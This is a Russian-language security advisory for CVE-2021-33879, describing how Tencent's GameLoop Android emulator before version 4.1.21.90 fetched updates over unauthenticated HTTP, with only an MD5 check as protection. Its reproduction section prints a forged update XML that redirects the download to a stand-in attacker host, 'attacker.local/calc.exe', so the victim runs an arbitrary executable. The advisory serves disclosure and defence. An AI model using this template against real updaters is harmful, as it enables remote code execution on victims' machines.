
MITM при обновлении GameLoop
Идентификатор CVE: CVE-2021-33879
Название затронутого продукта(ов) и версии(й): GameLoop (все версии до 4.1.21.90)
Тип уязвимости: CWE-494: Загрузка кода без проверки целостности
Краткое описание
GameLoop — это эмулятор Android, разработанный Tencent. Он использует механизм обновления, который не является зашифрованным или аутентифицированным (кроме хешей MD5, которые в данной эксплуатации могут контролироваться атакующим), что позволяет атакующему в позиции MITM перехватывать и отправлять собственные пакеты обновлений, которые будут выполнены на машине жертвы.
Описание
Tencent GameLoop до версии 4.1.21.90 загружал обновления через небезопасное HTTP-соединение. Злоумышленник в позиции MITM мог подменить содержимое XML-документа, описывающего пакет обновления, заменив URL загрузки на URL, указывающий на произвольный исполняемый файл Windows. Поскольку единственной проверкой целостности было сравнение MD5-хеша загруженного файла с хешем, содержащимся в XML-документе, загруженный исполняемый файл затем выполнялся на машине жертвы.
Воспроизведение
<?xml version="1.0" encoding="utf-8"?>
<UpdateConfig>
<GlobalConfig>
<Item name="UpdateEnable" Value="1" />
</GlobalConfig>
<UpdatePolicy>
<PolicyItem id="1" Enable="1" AutoUpdateRate="1" ManualUpdateRate="100" MatchUpdateOperation="2" Weight="4">
<Condition Method="Or">
<MatchSupplyId Type="market" MatchResult="0" Start="3.10.199.100" End="4.99.999.999" />
</Condition>
</PolicyItem>
</UpdatePolicy>
<UpdateOperation>
<OperItem id="2" inherit="0" Desc="This is a malicious update" Title="Malicious update" text="I could serve you ransomware but I'll just spawn calc">
<Item Type="market" url="http://attacker.local/calc.exe" md5="c4cb4fdf6369dd1342d2666171866ce5" version="5.10.199.100" filesize="32768" />
</OperItem>
</UpdateOperation>
</UpdateConfig>


Исправление
Установите более новую версию GameLoop.